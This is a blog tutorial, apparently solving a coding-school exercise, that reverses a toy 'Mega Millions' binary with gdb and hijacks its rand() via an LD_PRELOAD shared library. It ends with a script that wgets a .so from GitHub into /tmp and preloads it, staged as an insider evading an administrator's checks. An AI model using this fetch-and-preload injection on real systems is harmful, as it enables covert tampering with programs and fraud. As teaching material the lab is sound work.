Win Mega Millions!

With Code Injection

Have you ever wondered about the security measures that protect multi-state lottery games like Mega Millions? Lottery games are designed to be fair and secure, but have you ever considered the possibility of hacking into the system and manipulating the outcomes? It’s a fascinating topic to explore, as it raises questions about the limits of technology and the ethics of hacking.

In this blog post, we’ll explore the theoretical process of creating a program to hack into the Mega Millions system. However, it is important to note that this post is for educational purposes only. It is not appropriate to engage in hacking or illegal activities, and we do not condone or encourage such behavior. Let’s dive in and explore the world of lottery game security!

The Mega Millions program is a lottery game that is played across multiple states in the United States. Players have the opportunity to win a massive jackpot by correctly picking six numbers in a drawing.

But what are those numbers, and how do you go about playing?

To play Mega Millions, you need to pick six numbers from two separate pools of numbers. The first pool contains numbers 1 to 75, and players must choose five numbers from this range. The second pool consists of numbers 1 to 15, and players must select one number from this range. So, in total, players need to pick six numbers in all to enter the drawing.

Chances of Winning

Once all entries are in, the winning numbers are randomly selected by a computer. To win the jackpot, a player must match all six winning numbers. The odds of winning the jackpot are 1 in 258,890,850. These odds might seem daunting, but the allure of a massive jackpot often keeps players coming back for more.

If more than one person correctly picks all six numbers, the jackpot is split equally between the winners. There are also smaller prizes available for players who match fewer numbers. These prizes range from a few dollars up to thousands of dollars, depending on how many numbers are matched.

If we are able to obtain the precise algorithm used in the selection process of the winning numbers in Mega Millions through a confidential source, we could develop a program that would allow us to win. The purpose of this article is to outline the procedures involved in programming the computer to choose our winning numbers, specifically 9, 8, 10, 24, 75, + 9.

Utilizing our informant within Mega Millions, we have received insider knowledge on the methods to manipulate the lottery’s winning numbers. However, there are strict guidelines that must be followed in order to avoid detection.

  1. Firstly, the Mega Millions program cannot be directly modified as the Master Sysadmin, Sylvain, always verifies its MD5 before execution.
  2. The system in use is a Linux Ubuntu 16.04 with internet accessibility. Our insider can only execute two shell commands from a script without arousing suspicion from Sylvain. The shell script must be limited to three lines and cannot contain certain characters such as ;, &&, ||, |, or ` to evade detection.
  3. Additionally, our insider has authorization to upload a single file, which will serve as the shell script.
  4. The shell script will be executed by our insider in the same directory as the gm program, exactly 98 seconds prior to Sylvain's execution of gm with their selected numbers: ./gm 9 8 10 24 75 9. It is crucial to note that Sylvain uses the same terminal and session as our insider and always inspects the directory's contents before running the gm program.
  5. Furthermore, Sylvain consistently exits after executing the gm program.

With the information provided and the Mega Millions program which can be downloaded from this repository here, we can go ahead and examine the program to know our next moves.

The Winning Plan

  • System Requirements: Ubuntu 20.04 LTS
  • File Requirements: Executable bash script with allowed permissions
  • Version Control Requirements: Program pushed to public GitHub repo

The very first step is to clone and examine the program provided by the mole inside our Ubuntu terminal from git here.

We can do that with the following command:

$  git clone https://github.com/holbertonschool/0x18.c.git

We can now enter the cloned repository to analyze the files present like so:

$  cd 0x18.c
$ ls
101-md5_gm README.md gm

From here we have access to three files:

  1. 101-md5_gm: File containing MD5 hash of gm executable
  2. README.md: File describing content of repository.
  3. gm: Executable file to select winning numbers.

Our focus from here will be on the gm file since it is the program that will be executed to give the winning numbers.

To begin, we have to figure out what type of file gm is in order to know its vulnerabilities and how we can exploit it to choose our winning numbers.

We can do that with the file command like so:

$  file gm

and get the output as:

gm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f4360f3971380627db9191426d4e41b6ed079ebc, not stripped

Here’s a breakdown of what each part means:

  • gm: This is the name of the program.
  • ELF 64-bit LSB executable, x86-64, version 1 (SYSV): This describes the file format of the program. It's an ELF file (which stands for "Executable and Linkable Format"), which is a standard format for executable files on Unix-like systems. The program is 64-bit, and designed to run on x86-64 processors. The "SYSV" part refers to the System V ABI, which is a standard for how programs interface with the operating system.
  • dynamically linked: This means that the program is designed to link with shared libraries at runtime, rather than including all the code it needs within the executable file itself.
  • interpreter /lib64/ld-linux-x86-64.so.2: This specifies the dynamic linker that should be used to load the shared libraries required by the program. /lib64/ld-linux-x86-64.so.2 is the name of the linker for x86-64 systems.
  • for GNU/Linux 2.6.32: This specifies the minimum version of the Linux kernel that the program requires to run. Specifically, it requires version 2.6.32 or higher.
  • BuildID[sha1]=f4360f3971380627db9191426d4e41b6ed079ebc: This is a unique identifier for the build of the program. It's generated using a hash function (SHA-1 in this case), and can be used to track down the exact build of the program that was used.
  • not stripped: This means that the debugging symbols for the program have not been stripped out. Debugging symbols can be useful for debugging the program, but can also make the executable file larger.

We have now two positive results in the breakdown of the file command on the program:

First, we identify that the file is dynamically linked which indicates that shared libraries with special functionalities are launched only during program execution. This is a huge positive for us since we cannot alter the gm file itself. But if we can decipher what those shared libraries are, we can replace them with our own so those ones are implemented in the program instead. This way, the gm file will not be altered but our functions will be implemented.

Our next move is to look for the shared functions and that is where our second positive finding: not stripped comes in. This indicates that the debugging symbols were not stripped out and we can disassemble to find all the functions in the program. Through this we can easily see the shared functions that are added during execution so we add our modifications to that.

It’s now time for us to figure out what shared functions we can modify to get our winning numbers. There are many debugging tools but the preferable one that is free and effective is the GDB: GNU Project Debugger.

To begin debugging of the program with GDB, we can run the following command in our terminal:

$  gdb ./gm

The following should be the results:

GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./gm...
(No debugging symbols found in ./gm)
(gdb)

Since we identified from the file command that gm was dynamically linked we know for sure it will have a main function which contains all other function calls of the program.

We can debug the main function with the following command with GDB:

(gdb) disass main

and the results as so:

Dump of assembler code for function main:
0x0000000000400ba9 <+0>: push %rbp
0x0000000000400baa <+1>: mov %rsp,%rbp
0x0000000000400bad <+4>: sub $0x60,%rsp
0x0000000000400bb1 <+8>: mov %edi,-0x54(%rbp)
0x0000000000400bb4 <+11>: mov %rsi,-0x60(%rbp)
0x0000000000400bb8 <+15>: mov %fs:0x28,%rax
0x0000000000400bc1 <+24>: mov %rax,-0x8(%rbp)
0x0000000000400bc5 <+28>: xor %eax,%eax
0x0000000000400bc7 <+30>: cmpl $0x7,-0x54(%rbp)
0x0000000000400bcb <+34>: je 0x400beb <main+66>
0x0000000000400bcd <+36>: mov $0x400ef0,%esi
0x0000000000400bd2 <+41>: mov $0x2,%edi
0x0000000000400bd7 <+46>: mov $0x0,%eax
0x0000000000400bdc <+51>: callq 0x4005d0 <dprintf@plt>
0x0000000000400be1 <+56>: mov $0x1,%eax
0x0000000000400be6 <+61>: jmpq 0x400ce3 <main+314>
0x0000000000400beb <+66>: mov -0x60(%rbp),%rax
0x0000000000400bef <+70>: add $0x8,%rax
0x0000000000400bf3 <+74>: mov (%rax),%rax
0x0000000000400bf6 <+77>: mov %rax,%rdi
0x0000000000400bf9 <+80>: callq 0x400610 <atoi@plt>
0x0000000000400bfe <+85>: mov %eax,-0x40(%rbp)
0x0000000000400c01 <+88>: mov -0x60(%rbp),%rax
0x0000000000400c05 <+92>: add $0x10,%rax
0x0000000000400c09 <+96>: mov (%rax),%rax
0x0000000000400c0c <+99>: mov %rax,%rdi
0x0000000000400c0f <+102>: callq 0x400610 <atoi@plt>
0x0000000000400c14 <+107>: mov %eax,-0x3c(%rbp)
--Type <RET> for more, q to quit, c to continue without paging--
0x0000000000400c17 <+110>: mov -0x60(%rbp),%rax
0x0000000000400c1b <+114>: add $0x18,%rax
0x0000000000400c1f <+118>: mov (%rax),%rax
0x0000000000400c22 <+121>: mov %rax,%rdi
0x0000000000400c25 <+124>: callq 0x400610 <atoi@plt>
0x0000000000400c2a <+129>: mov %eax,-0x38(%rbp)
0x0000000000400c2d <+132>: mov -0x60(%rbp),%rax
0x0000000000400c31 <+136>: add $0x20,%rax
0x0000000000400c35 <+140>: mov (%rax),%rax
0x0000000000400c38 <+143>: mov %rax,%rdi
0x0000000000400c3b <+146>: callq 0x400610 <atoi@plt>
0x0000000000400c40 <+151>: mov %eax,-0x34(%rbp)
0x0000000000400c43 <+154>: mov -0x60(%rbp),%rax
0x0000000000400c47 <+158>: add $0x28,%rax
0x0000000000400c4b <+162>: mov (%rax),%rax
0x0000000000400c4e <+165>: mov %rax,%rdi
0x0000000000400c51 <+168>: callq 0x400610 <atoi@plt>
0x0000000000400c56 <+173>: mov %eax,-0x30(%rbp)
0x0000000000400c59 <+176>: mov -0x60(%rbp),%rax
0x0000000000400c5d <+180>: add $0x30,%rax
0x0000000000400c61 <+184>: mov (%rax),%rax
0x0000000000400c64 <+187>: mov %rax,%rdi
0x0000000000400c67 <+190>: callq 0x400610 <atoi@plt>
0x0000000000400c6c <+195>: mov %eax,-0x44(%rbp)
0x0000000000400c6f <+198>: mov -0x44(%rbp),%ecx
0x0000000000400c72 <+201>: lea -0x40(%rbp),%rax
0x0000000000400c76 <+205>: mov $0x5,%edx
0x0000000000400c7b <+210>: mov %ecx,%esi
0x0000000000400c7d <+212>: mov %rax,%rdi
0x0000000000400c80 <+215>: callq 0x400736 <check_input>
0x0000000000400c85 <+220>: test %eax,%eax
0x0000000000400c87 <+222>: jne 0x400ca4 <main+251>
0x0000000000400c89 <+224>: mov $0x400ef0,%esi
0x0000000000400c8e <+229>: mov $0x2,%edi
0x0000000000400c93 <+234>: mov $0x0,%eax
0x0000000000400c98 <+239>: callq 0x4005d0 <dprintf@plt>
0x0000000000400c9d <+244>: mov $0x1,%eax
0x0000000000400ca2 <+249>: jmp 0x400ce3 <main+314>
0x0000000000400ca4 <+251>: lea -0x48(%rbp),%rdx
0x0000000000400ca8 <+255>: lea -0x20(%rbp),%rax
0x0000000000400cac <+259>: mov %rdx,%rsi
0x0000000000400caf <+262>: mov %rax,%rdi
0x0000000000400cb2 <+265>: callq 0x40080a <pick_numbers>
0x0000000000400cb7 <+270>: mov -0x48(%rbp),%edx
0x0000000000400cba <+273>: lea -0x20(%rbp),%rax
0x0000000000400cbe <+277>: mov %edx,%esi
0x0000000000400cc0 <+279>: mov %rax,%rdi
0x0000000000400cc3 <+282>: callq 0x4009c9 <print_numbers>
0x0000000000400cc8 <+287>: mov -0x48(%rbp),%esi
0x0000000000400ccb <+290>: mov -0x44(%rbp),%ecx
0x0000000000400cce <+293>: lea -0x40(%rbp),%rdx
0x0000000000400cd2 <+297>: lea -0x20(%rbp),%rax
0x0000000000400cd6 <+301>: mov %rax,%rdi
0x0000000000400cd9 <+304>: callq 0x400a29 <check_result>
0x0000000000400cde <+309>: mov $0x0,%eax
0x0000000000400ce3 <+314>: mov -0x8(%rbp),%rcx
0x0000000000400ce7 <+318>: xor %fs:0x28,%rcx
0x0000000000400cf0 <+327>: je 0x400cf7 <main+334>
0x0000000000400cf2 <+329>: callq 0x4005b0 <__stack_chk_fail@plt>
0x0000000000400cf7 <+334>: leaveq
0x0000000000400cf8 <+335>: retq
End of assembler dump.

Here’s a brief summary of the main function’s operations, based on the code dump:

  1. The function sets up a new stack frame by pushing the base pointer onto the stack and moving the stack pointer into the base pointer.
  2. It allocates space on the stack for local variables by subtracting 0x60 (96 decimal) from the stack pointer.
  3. It reads the command-line arguments and stores them on the stack.
  4. It calls dprintf to print an error message if the number of command-line arguments is not 7.
  5. It reads the input arguments from the stack using mov and atoi, and stores them in local variables on the stack.
  6. It calls pick_numbers with the local variables as arguments.
  7. It prints the result of pick_numbers using printf.
  8. It sets the return value of the program to 1 and returns from the function.

Our interest here is obviously the pick_numbers function which definitely handles how gm selects the winning numbers. Every function call in the pick_numbers function would move us a step closer to influencing the winning numbers.

We can debug the pick_numbers function with the following command with GDB:

(gdb) disass pick_numbers

and the results as so:

Dump of assembler code for function pick_numbers:
0x000000000040080a <+0>: push %rbp
0x000000000040080b <+1>: mov %rsp,%rbp
0x000000000040080e <+4>: push %rbx
0x000000000040080f <+5>: sub $0x18,%rsp
0x0000000000400813 <+9>: mov %rdi,-0x18(%rbp)
0x0000000000400817 <+13>: mov %rsi,-0x20(%rbp)
0x000000000040081b <+17>: mov $0x0,%edi
0x0000000000400820 <+22>: callq 0x400600 <time@plt>
0x0000000000400825 <+27>: mov %eax,%edi
0x0000000000400827 <+29>: callq 0x4005f0 <srand@plt>
0x000000000040082c <+34>: callq 0x400620 <rand@plt>
0x0000000000400831 <+39>: mov %eax,%ecx
0x0000000000400833 <+41>: mov $0x88888889,%edx
0x0000000000400838 <+46>: mov %ecx,%eax
0x000000000040083a <+48>: imul %edx
0x000000000040083c <+50>: lea (%rdx,%rcx,1),%eax
0x000000000040083f <+53>: sar $0x3,%eax
0x0000000000400842 <+56>: mov %eax,%edx
0x0000000000400844 <+58>: mov %ecx,%eax
0x0000000000400846 <+60>: sar $0x1f,%eax
0x0000000000400849 <+63>: sub %eax,%edx
0x000000000040084b <+65>: mov %edx,%eax
0x000000000040084d <+67>: mov %eax,%edx
0x000000000040084f <+69>: shl $0x4,%edx
0x0000000000400852 <+72>: sub %eax,%edx
0x0000000000400854 <+74>: mov %ecx,%eax
0x0000000000400856 <+76>: sub %edx,%eax
0x0000000000400858 <+78>: lea 0x1(%rax),%edx
0x000000000040085b <+81>: mov -0x20(%rbp),%rax
0x000000000040085f <+85>: mov %edx,(%rax)
0x0000000000400861 <+87>: callq 0x400620 <rand@plt>
0x0000000000400866 <+92>: mov %eax,%ecx
0x0000000000400868 <+94>: mov $0x1b4e81b5,%edx
0x000000000040086d <+99>: mov %ecx,%eax
0x000000000040086f <+101>: imul %edx
0x0000000000400871 <+103>: sar $0x3,%edx
0x0000000000400874 <+106>: mov %ecx,%eax
0x0000000000400876 <+108>: sar $0x1f,%eax
0x0000000000400879 <+111>: sub %eax,%edx
0x000000000040087b <+113>: mov %edx,%eax
0x000000000040087d <+115>: imul $0x4b,%eax,%eax
0x0000000000400880 <+118>: sub %eax,%ecx
0x0000000000400882 <+120>: mov %ecx,%eax
0x0000000000400884 <+122>: lea 0x1(%rax),%edx
0x0000000000400887 <+125>: mov -0x18(%rbp),%rax
0x000000000040088b <+129>: mov %edx,(%rax)
0x000000000040088d <+131>: mov -0x18(%rbp),%rax
0x0000000000400891 <+135>: lea 0x4(%rax),%rbx
0x0000000000400895 <+139>: callq 0x400620 <rand@plt>
0x000000000040089a <+144>: mov %eax,%ecx
0x000000000040089c <+146>: mov $0x1b4e81b5,%edx
0x00000000004008a1 <+151>: mov %ecx,%eax
0x00000000004008a3 <+153>: imul %edx
0x00000000004008a5 <+155>: sar $0x3,%edx
0x00000000004008a8 <+158>: mov %ecx,%eax
0x00000000004008aa <+160>: sar $0x1f,%eax
0x00000000004008ad <+163>: sub %eax,%edx
0x00000000004008af <+165>: mov %edx,%eax
0x00000000004008b1 <+167>: imul $0x4b,%eax,%eax
0x00000000004008b4 <+170>: sub %eax,%ecx
0x00000000004008b6 <+172>: mov %ecx,%eax
0x00000000004008b8 <+174>: add $0x1,%eax
0x00000000004008bb <+177>: mov %eax,(%rbx)
0x00000000004008bd <+179>: mov -0x20(%rbp),%rax
--Type <RET> for more, q to quit, c to continue without paging--
0x00000000004008c1 <+183>: mov (%rax),%ecx
0x00000000004008c3 <+185>: mov -0x18(%rbp),%rax
0x00000000004008c7 <+189>: mov $0x2,%edx
0x00000000004008cc <+194>: mov %ecx,%esi
0x00000000004008ce <+196>: mov %rax,%rdi
0x00000000004008d1 <+199>: callq 0x400736 <check_input>
0x00000000004008d6 <+204>: test %eax,%eax
0x00000000004008d8 <+206>: je 0x40088d <pick_numbers+131>
0x00000000004008da <+208>: mov -0x18(%rbp),%rax
0x00000000004008de <+212>: lea 0x8(%rax),%rbx
0x00000000004008e2 <+216>: callq 0x400620 <rand@plt>
0x00000000004008e7 <+221>: mov %eax,%ecx
0x00000000004008e9 <+223>: mov $0x1b4e81b5,%edx
0x00000000004008ee <+228>: mov %ecx,%eax
0x00000000004008f0 <+230>: imul %edx
0x00000000004008f2 <+232>: sar $0x3,%edx
0x00000000004008f5 <+235>: mov %ecx,%eax
0x00000000004008f7 <+237>: sar $0x1f,%eax
0x00000000004008fa <+240>: sub %eax,%edx
0x00000000004008fc <+242>: mov %edx,%eax
0x00000000004008fe <+244>: imul $0x4b,%eax,%eax
0x0000000000400901 <+247>: sub %eax,%ecx
0x0000000000400903 <+249>: mov %ecx,%eax
0x0000000000400905 <+251>: add $0x1,%eax
0x0000000000400908 <+254>: mov %eax,(%rbx)
0x000000000040090a <+256>: mov -0x20(%rbp),%rax
0x000000000040090e <+260>: mov (%rax),%ecx
0x0000000000400910 <+262>: mov -0x18(%rbp),%rax
0x0000000000400914 <+266>: mov $0x3,%edx
0x0000000000400919 <+271>: mov %ecx,%esi
0x000000000040091b <+273>: mov %rax,%rdi
0x000000000040091e <+276>: callq 0x400736 <check_input>
0x0000000000400923 <+281>: test %eax,%eax
0x0000000000400925 <+283>: je 0x4008da <pick_numbers+208>
0x0000000000400927 <+285>: mov -0x18(%rbp),%rax
0x000000000040092b <+289>: lea 0xc(%rax),%rbx
0x000000000040092f <+293>: callq 0x400620 <rand@plt>
0x0000000000400934 <+298>: mov %eax,%ecx
0x0000000000400936 <+300>: mov $0x1b4e81b5,%edx
0x000000000040093b <+305>: mov %ecx,%eax
0x000000000040093d <+307>: imul %edx
0x000000000040093f <+309>: sar $0x3,%edx
0x0000000000400942 <+312>: mov %ecx,%eax
0x0000000000400944 <+314>: sar $0x1f,%eax
0x0000000000400947 <+317>: sub %eax,%edx
0x0000000000400949 <+319>: mov %edx,%eax
0x000000000040094b <+321>: imul $0x4b,%eax,%eax
0x000000000040094e <+324>: sub %eax,%ecx
0x0000000000400950 <+326>: mov %ecx,%eax
0x0000000000400952 <+328>: add $0x1,%eax
0x0000000000400955 <+331>: mov %eax,(%rbx)
0x0000000000400957 <+333>: mov -0x20(%rbp),%rax
0x000000000040095b <+337>: mov (%rax),%ecx
0x000000000040095d <+339>: mov -0x18(%rbp),%rax
0x0000000000400961 <+343>: mov $0x4,%edx
0x0000000000400966 <+348>: mov %ecx,%esi
0x0000000000400968 <+350>: mov %rax,%rdi
0x000000000040096b <+353>: callq 0x400736 <check_input>
0x0000000000400970 <+358>: test %eax,%eax
0x0000000000400972 <+360>: je 0x400927 <pick_numbers+285>
0x0000000000400974 <+362>: mov -0x18(%rbp),%rax
0x0000000000400978 <+366>: lea 0x10(%rax),%rbx
0x000000000040097c <+370>: callq 0x400620 <rand@plt>
0x0000000000400981 <+375>: mov %eax,%ecx
0x0000000000400983 <+377>: mov $0x1b4e81b5,%edx
--Type <RET> for more, q to quit, c to continue without paging--
0x0000000000400988 <+382>: mov %ecx,%eax
0x000000000040098a <+384>: imul %edx
0x000000000040098c <+386>: sar $0x3,%edx
0x000000000040098f <+389>: mov %ecx,%eax
0x0000000000400991 <+391>: sar $0x1f,%eax
0x0000000000400994 <+394>: sub %eax,%edx
0x0000000000400996 <+396>: mov %edx,%eax
0x0000000000400998 <+398>: imul $0x4b,%eax,%eax
0x000000000040099b <+401>: sub %eax,%ecx
0x000000000040099d <+403>: mov %ecx,%eax
0x000000000040099f <+405>: add $0x1,%eax
0x00000000004009a2 <+408>: mov %eax,(%rbx)
0x00000000004009a4 <+410>: mov -0x20(%rbp),%rax
0x00000000004009a8 <+414>: mov (%rax),%ecx
0x00000000004009aa <+416>: mov -0x18(%rbp),%rax
0x00000000004009ae <+420>: mov $0x5,%edx
0x00000000004009b3 <+425>: mov %ecx,%esi
0x00000000004009b5 <+427>: mov %rax,%rdi
0x00000000004009b8 <+430>: callq 0x400736 <check_input>
0x00000000004009bd <+435>: test %eax,%eax
0x00000000004009bf <+437>: je 0x400974 <pick_numbers+362>
0x00000000004009c1 <+439>: nop
0x00000000004009c2 <+440>: add $0x18,%rsp
0x00000000004009c6 <+444>: pop %rbx
0x00000000004009c7 <+445>: pop %rbp
0x00000000004009c8 <+446>: retq
End of assembler dump.

Here’s a brief summary of the operations performed by the pick_numbers function:

  1. The function starts by setting up its stack frame and allocating some space on the stack for local variables.
  2. The function takes two arguments: a pointer to an array of integers and the size of that array. It stores these arguments in local variables.
  3. The function calls the time function to seed the random number generator.
  4. The function calls the srand function with the result of the time function to seed the random number generator.
  5. The function calls the rand() function to generate a random number and performs some arithmetic operations on it to get a new random number.
  6. The function stores the new random number in the first element of the array pointed to by the first argument.
  7. The function calls the rand() function to generate another random number and performs some arithmetic operations on it to get a new random number.
  8. The function stores the new random number in the second element of the array pointed to by the first argument.
  9. The function returns.

From here, we can identify a function call to rand() which generates random numbers with seeded time. Since the rand() function is only called during execution of the program we can replace it with our custom rand() function.

We can create our custom rand() function in C with the following test.c code:

#include <unistd.h>
#include <string.h>
#include <stdio.h>

/**
* rand - Custom rand() func
* Return: Predetermined Numbers
*/

int rand(void)
{
static int num = -1;

num++;

if (num == 0)
return (9);

if (num == 1)
return (9);

if (num == 2)
return (8);

if (num == 3)
return (10);

if (num == 4)
return (24);

if (num == 5)
return (75);

return (num * num % 30000);
}

/**
* main - Entry point
* Return: 0
*/

int main(void)
{
static int i;

for (i = 0; i <= 5; i++)
{
printf("%d ", rand());
}
printf("\n");
return (0);
}

This code can be tested by compiling and running it this way:

$ gcc -o test test.c
$ ./test
9 9 8 10 24 75

At this point, we have successfully created our custom rand() function which generates our predetermined numbers (9, 8, 10, 24, 75, 9) each time it is run. Next steps, we have to dynamically link and export our rand() function to be used when ever the program is run instead of the standard rand() function.

To link the custom rand() function, we have to remove the main function making it look like so:

#include <unistd.h>
#include <string.h>

/**
* rand - Custom rand() func
* Return: Predetermined Numbers
*/

int rand(void)
{
static int num = -1;

num++;

if (num == 0)
return (9);

if (num == 1)
return (9);

if (num == 2)
return (8);

if (num == 3)
return (10);

if (num == 4)
return (24);

if (num == 5)
return (75);

return (num * num % 30000);
}

A dynamic library can be created and linked with the following code:

$ gcc -c -fPIC test.c
$ gcc -shared -o test.so test.o

This is where the magic begins?

$ cp test.so /tmp/
$ export LD_PRELOAD=/tmp/test.so

The command export LD_PRELOAD=/tmp/test.so sets the environment variable LD_PRELOAD to the path tmp/test.so.

This is often used in Linux to load a shared library (.so file) into a program’s memory space before any other libraries are loaded. The library specified by LD_PRELOAD will take precedence over any other library with the same function or symbol names.

In this specific case, it tmp/test.so is a shared library that can be used to bypass the gm program.

However, it is important to note that using such a library without proper authorization or consent is ILLEGAL and can result in serious consequences.

With that being said, we can now test the program to see if our numbers are picked by running the following code:

$ ./gm 9 8 10 24 75 9
10 9 11 25 1 - 10
Sorry, try again!

The result, however disappointing has a positive to it. It generates the same numbers (10, 9, 11, 25, 1, 10) every time the program is run which means it has been successfully linked and replaced the standard rand() function. Also, 5 out of 6 of the numbers are not far off since they are only off by 1 number each.

We can modify our custom rand() function by reducing each of the predefined numbers by 1 since some unknown function modifies the generated numbers by adding 1 to each predefined number to be generated.

The same steps as before can be repeated with this test.c code now:

#include <unistd.h>
#include <string.h>

/**
* rand - Custom rand() func
* Return: Predetermined Numbers
*/

int rand(void)
{
static int num = -1;

num++;

if (num == 0)
return (8);

if (num == 1)
return (8);

if (num == 2)
return (7);

if (num == 3)
return (9);

if (num == 4)
return (23);

if (num == 5)
return (74);

return (num * num % 30000);
}

A dynamic library can be created and linked with the following code:

$ gcc -c -fPIC test.c
$ gcc -shared -o test.so test.o

We go again?

$ cp test.so /tmp/
$ export LD_PRELOAD=/tmp/test.so

Now…

$ ./gm 9 8 10 24 75 9
9 8 10 24 75 - 9
Congratulations, you win the Jackpot!

Now that we know how to crack the program, we can find a way to make it easy for our mole to inject it in only one command.

This can be accomplished by first pushing the .so file to GitHub so that it can be downloaded and linked by our mole. We have to keep in mind our mole has an opportunity to run only one command.

Therefore, we can write a bash script that will download and link the .so file in the /tmp directory since the contents in the working directory will be checked before running the program.

The following bash script make_me_win.sh makes this possible:

#!/bin/bash
wget -P /tmp https://github.com/samuelselasi/alx-low_level_programming/raw/master/0x18-dynamic_libraries/gm_crack.so
export LD_PRELOAD=/tmp/gm_crack.so

This bash script downloads a shared library file named gm_crack.so from the GitHub repository and sets the LD_PRELOAD environment variable to the path of the downloaded library file.

We can allow executable access of the make_me_win.sh script to all users by running the following command:

$ chmod u+x make_me_win.sh

Finally, everything is complete and Master Sysadmin, Sylvain can run the program and our lucky numbers will be generated!

We hope you enjoyed this tutorial on winning Mega Millions. If you have any comments or questions, please don’t hesitate to leave them in the comments section below.

Samuel Selasi
Samuel Selasi

Written by Samuel Selasi

Software Engineer || Graphic Designer

No responses yet

Write a response